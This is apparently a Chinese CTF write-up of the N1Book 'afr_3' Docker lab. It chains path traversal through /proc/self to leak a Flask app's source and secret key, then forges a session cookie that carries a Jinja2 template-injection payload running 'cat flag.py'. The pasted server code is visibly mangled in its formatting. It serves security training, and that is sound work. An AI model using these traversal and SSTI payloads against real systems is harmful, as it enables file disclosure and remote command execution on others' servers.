【文件读取/包含】任意文件读取漏洞 afr_3

1.1漏洞描述

漏洞名称任意文件读取漏洞 afr_3
漏洞类型文件读取/包含
漏洞等级⭐⭐⭐⭐⭐
漏洞环境docker
攻击方式

1.2漏洞等级

高危

1.3影响版本

暂无

1.4漏洞复现

1.4.1.基础环境

靶场docker
工具BurpSuite

1.4.2.环境搭建

        1.创建docker-compose.yml文件

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000
 

         2.将该代码写入文件

启动方式

docker-compose up -d

flag

n1book{afr_1_solved}

关闭

sudo docker-compose down

        3.访问kali 5000端口

 

搭建成功 

1.5深度利用

1.5.1靶机攻略

        1.查看源码

        没有发现有用东西

        2.扫描目录

         根据引导进入article,熟悉的参数出来了,name=aiticle

 3.尝试查看etc/passwd

查看flag

失败了

尝试使用php://fileter 读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件] 

也失败了。

看了大神的讲解,我觉得应该能想到,因为现在的信息就是已经可以正常包含/etc/目录下的文件(passwd),那么/proc/目录下的也应该能包含

/proc/
里面含有很多的进程信息,比如/proc/3333,就是进程ID为3333的信息

/proc/self/
这个就很魔幻了,因为进程ID是一直变得,我这里如果填了article=/proc/self/......,那么就是article相关的进程,也就是说这个self是谁用就是谁

cmdline
启动当前进程的完成命令


cwd
当前进程的工作目录

        访问,发现pythonserver.py,这里应该不是pythonserver.py文件,因为cmdline是启动当前进程的完成命令,那执行的命令应该是python server.py 

article?name=../../../../../../proc/self/cmdline

4.通过cwd读取server.py

article?name=../../../../../proc/self/cwd/server.py

 拿到server.py的源码

#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')#execfile() 函数可以用来执行一个文件。
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

 

代码中出现了,flag.py和key.py,分别包含一下这俩,在key.py中发现了一段关于key的代码

/article?name=../../../../../proc/self/cwd/flag.py
/article?name=../../../../../proc/self/cwd/key.py

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

伪造flask的session,秘钥为Drmhze6EPcv0fN_81Bj-nA

        下载脚本

git clone https://github.com/noraj/flask-session-cookie-manager 

        使用脚本编译 

 sudo python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

         拿到伪造flask的session

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZVTSxw.EZGsAPNdMs8G5kxefOpGvPQMXoM

5.使用BP,访问首页抓包

        修改session值为刚刚得到的

拿到flag

 flag = ‘n1book{afr_3_solved}’;

1.6漏洞挖掘

1.6.1指纹信息

1.7修复建议

  • 升级

  • 打补丁

  • 上设备

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值